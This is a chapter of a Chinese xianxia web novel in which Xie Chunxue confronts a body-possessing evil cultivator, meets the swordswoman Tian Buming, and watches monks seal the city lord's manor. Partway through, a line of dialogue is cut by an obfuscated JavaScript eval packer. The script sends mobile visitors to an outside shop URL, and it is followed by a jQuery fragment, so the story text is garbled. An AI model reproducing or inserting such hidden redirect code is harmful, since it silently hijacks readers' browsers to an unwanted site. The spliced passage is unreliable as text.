槐生也抬头,和面无表情的谢春雪对视一眼后,露出了兴奋且充满恶意的笑,然后退了出去。
系统又在尖叫了。谢春雪破罐子破摔,一个鹞子翻身落地,站定后问:“你什么时候发现我的?”
他还在逗狗,只是狗不理他。慢悠悠地回答,“刚进来的时候。”
“不信。”谢春雪翻白眼,“早知道我在,你会说出土灵珠这么重要的情报?”
她怀疑是她紧张的时候气息乱了,这波是真的紧张了。
“城主”把狗放下了,饶有兴致地看向她,“你不怕我?我可是分神期。”
当她是吓大的?谢春雪镇定自若,“又不是洞虚期,我怕什么。”
“城主”迷惑,“你只是结丹初期。”
谢春雪昂首挺胸,“我师祖是苍星恒。”
沉默。
“城主”哈哈大笑,“你倒是会狐假虎威。”
不过现阶段确实没必要惹上那个疯子。他不动声色地扫过面前这个女子,暗自可惜。
多么完美的躯体,如果能夺舍的话……
那垂涎的眼神看得谢春雪打了个寒颤,后退了一步。
不过这都没动手,说明对方确实投鼠忌器。她的安全暂时不会出问题了。
“化灵期,你叫什么名字。”她试图套情报。
对方又开始玩狗了,“以后你会知道的。”
“哦,那我喊你狗不理。”
“狗不理”:……
黄狗咧嘴,谢春雪觉得狗在笑。
“小家伙,你很嚣张啊。”他笑了,“没人教过你要尊老爱幼吗?”
“只学过斩妖诛邪。”兼修文道的谢春雪暗嘲。可惜实力不够,真想把面前这个邪修乱剑砍死。
谁料对方不仅没生气,反而低头对狗说话:“听到没,她是来斩你的。别激动了。”
她狐疑地看向小黄狗,那是妖?
小狗狠狠咬了他一口,又马上转头呕吐。谢春雪好像知道它为什么那么萎靡了,要知道说人嗅觉好通常形容成狗鼻子。
她不由得目露同情。
下一秒腌入味的小狗被扔向她,谢春雪眼疾手快揪住它的后脖颈,手臂伸直了,怒视邪修,“你干嘛!”
有话好好说,为什么要用生化武器攻击她!
“送你玩,可以带回去栓门口看家。”邪修正在看自己只剩骨节的食指,“真是养不熟的狗崽子,亏我这几天一条三顿地给你喂肉吃。”
这几天喂肉?喂的什么肉,人肉吗?
谢春雪看狗的眼神变了。小狗急得四条腿有气无力地乱划,汪呜汪呜地叫唤。
“走了,后会有期。”邪修还很有礼貌地和一人一狗告别,下一刻就歪倒在了椅子上。
谢春雪只感到一阵腥臭的风掠过。半个时辰都还没到吧?
脸上大块小块的皮肉掉落,不明液体渗出滴落,瞳孔浑浊不堪。就像四分五裂的玩具勉强用胶水拼凑好,坚持到极限后又再次崩裂。
谢春雪强忍恶心,用神识仔细观察尸体,发现城主的胸膛处有刀伤。
得到有用的线索后她没有停留,带着狗妖往宁清奚那去。最大的威胁已经解除,使用法术便也无所谓了。谢春雪边往那走边给自己和狗狂刷净尘诀。
她在窗边看了一眼,这小子着实命大,还活得好好的。
“谢春雪。”
一阵冷香袭来,这一刻她竟感到自己被救赎了。
谢春雪转头,怀抱长刀的女子就在她身后。她酝酿片刻,欣喜道:“小天,你来啦。”
对方看着她,心平气和地指出:“你不知道我的名字。”
“对不起。”她火速滑跪,“能否请教阁下尊名?”
“天不明。”
“好的小明。”
天不明背后的刀宗弟子:?
这就是传闻里高贵清冷的冰魄仙子吗?怎么感觉不太对呢。
天不明没什么反应,语气平平,“城中作乱的邪修已被明觉大师生擒,据他招供,城主府里还有余孽,你可知在哪?”
槐生被抓了,直接把他头头供出来了?谢春雪脑子稍微一转,就明白了他的险恶用心。
这瘪犊子是故意的。说这里有同伙,但绝对把修为往低了报。众人也就放下警惕,同样结丹期的天不明才带着人过来。
这要是真撞上那个分神期的邪修,估计得全军覆没了。幸好狗不理也是个坑货,感觉到对面来打团直接溜之大吉了。
卑鄙小人啊!谢春雪怒而问候了两句槐生全家,然后给天不明解释。
“原是这般,邪修果然狡诈。”她点头,“多谢你仗义出手。”
天不明打开房门,看守的侍卫被惊动,转头发现一大堆人,惊得魂飞天外。
“你、你们是什么人?怎敢擅闯城主府!”
“天倾城,天家人,受已故的城主夫人所托,特来拨乱反正。城主被邪修附体,现已伏诛。新城主就在房中,你们还要执迷不悟吗?”
侍卫被气势所慑,再加之近来的怪事,很快信服,为她让路。
天不明走进去,谢春雪跟在后面。宁清奚早就挣脱了束缚,候在门口。听到刚才的一番话,已是泪流满面。
“你便是天淇秀之子,宁清奚?”
“正、正是。”他擦了擦眼泪,俯身长揖。
“城中邪祟已除,你双亲的魂灵也已去了阴司。”她看着这个名义上的后人,并没有什么特别的感觉。
“你可以出去了。他们希望你能振作起来,早点接过你应承担的责任,他们会为你祈福。待城中风波平息,我才会离去。”
说完,不顾对方哭得悲切,她转身就走。
谢春雪看得唏嘘,觉得自己一个外人在这看着人崩溃也不太好,跟着天不明一起走了。
“小明,你去哪?”
“邪气最重之地。”
哦,那就是书房了。
她提醒:“那里只剩前城主的尸体了。我检查过,他的胸口有刀伤。不是你那种大刀,是小刀。”
“嗯,他是自杀死的。”
谢春雪赶忙追问:“为什么啊?”
“他察觉到有邪修窥伺,知晓他们是为了世代守卫的宝物而来,为了保护儿子,防止对方得逞,索性自杀了。”
想来是两位的灵魂被关进了槐生的灯,明觉大师把魂给救出来,问完后超度了。幸好鬼不能被搜魂,不然可就没她们什么事了。
天不明真是言简意赅,谢春雪头脑风暴半天,结合已知的信息才想明白。
病重的老城主应该会尽早交代后事才对,但他发现了异常,对宁清奚说的那句明天有事你早些来,其实是说给邪修听的。
这样对方就知道宁清奚还不明白宝物的下落,相当于保住了他的安全。
老城主应该也知道邪修的手段,怕自己没撑住说出来,干脆找机会自杀了。
她现在很是怀疑这个病重是怎么来的。
谢春雪忽然闻到了什么,缓慢眨眼,“邪修拿土灵珠想做什么?”
天不明脚步一顿,“土灵珠?城主只知道那是个重要的宝物。”
“我从
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17683872|207761||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
邪修那偷听到的。”谢春雪拉住她的手,借着袍袖的遮盖在她手上写字,嘴上也没停,“他们目标很明确,就是要找土灵珠。”
天不明配合她的步调,语气毫无起伏,“好,我们去将此事告知明觉大师。”
后面跟着的刀宗弟子没有异议,于是原本要去书房的一行人往府外走,到门口遇到了正好过来的空相,他身前的应该就是明觉大师。
明觉大师也是分神期。
“春雪,可有受伤?”空相担忧地询问。
谢春雪可算松了口气,“我没事。见过明觉大师,我怀疑那个占据城主尸体的分神期邪修没走。”
刚才她给天不明写的就是“佯走试探,莫言莫观”。
她猜城主走之前肯定把土灵珠在哪说给了天不明他们,天不明应该是急着过去确认土灵珠的安危。书房一听就很适合设置暗道和地下室什么的。
但在谈及土灵珠时,她嗅到了熟悉的腥臭味。那个分神期的邪修极有可能在暗中窥探。说不定槐生被俘也在他的算计之内,包括放宁清奚一马也是故意为之。
毕竟作为下任城主,他肯定需要知晓那个最重要的责任。就算叫来的修仙者打算将土灵珠转移,也得先拿出来吧。
放走的是能够解救灵魂的佛修,宁清奚人被抓了求援的信物却没有被没收……
细思极恐,这个分神期的邪修绝对不容小觑。
谢春雪没有说出自己关于书房的猜测,以防隔墙有耳。把后面的异样气息和想法说了。
明觉大师捻着佛珠连连点头,“早听闻小友灵心慧性,果然如此。勿要忧心,我这就带着弟子们在城主府布下法阵,以保其百年不受邪魔侵扰。”
太好了是范围大招,城主府有救了。
谢春雪总算露出轻快的笑容,“有劳大师了,那我就在周围为你们护法。”
天不明拱手,“多谢诸位襄助,我等亦然。”
十八位佛修站在城主府的不同方位,念起了佛咒。谢春雪和带着同门的天不明在周围警戒。
庄严的念诵声持续不断,从天空俯瞰,城主府被圈在一个圆形的金色法阵里,淡淡的金光从下往上升,逐渐形成一个半圆的光罩,将整个府邸笼罩其中。
念到一半的时候谢春雪就感到腥风穿过身侧,留下一声冷笑。但她只是握紧剑,没有声张。
狗不理给她等着,她马上就猛猛修炼突破化灵,到时候就算打不死他也要捅几刀腰子。
一个时辰后,结界完成了。大家再次聚拢。
谢春雪找到空相,“小师傅,之前在城郊,你不是想知道我为什么看树梢吗?其实是我有个特殊的能力,能看见一些人神识幻化的灵兽。”
他丝滑地接受了这个设定,“所以你当时是看到我的灵兽了,不知是何种模样?”
“一只咕咕叫的鸽子。”她笑道,“可以把神识集中到我的手上吗?我想摸一下。”
空相从愣怔中回神,盯着她的手心。
这时有下人从城主府出来,在门口挂上了白幡。
谢春雪轻轻摸了摸小鸽子的脑袋,它再次发出咕咕声。
“好啦,还给你。”她眉眼弯弯,“是纯白色的哦,我在某地游历时曾听人说起,白鸽象征和平。和你很相配。”
白鸽又飞远了,她目光追着它,直到它躲进白幡。
空相也随着她的视线望了过去。风起幡动,不是风动,不是幡动。
他低眉敛目,连念了三遍佛号。
天不明走了过来,见两人都没说话,于是问谢春雪:“可有空闲?”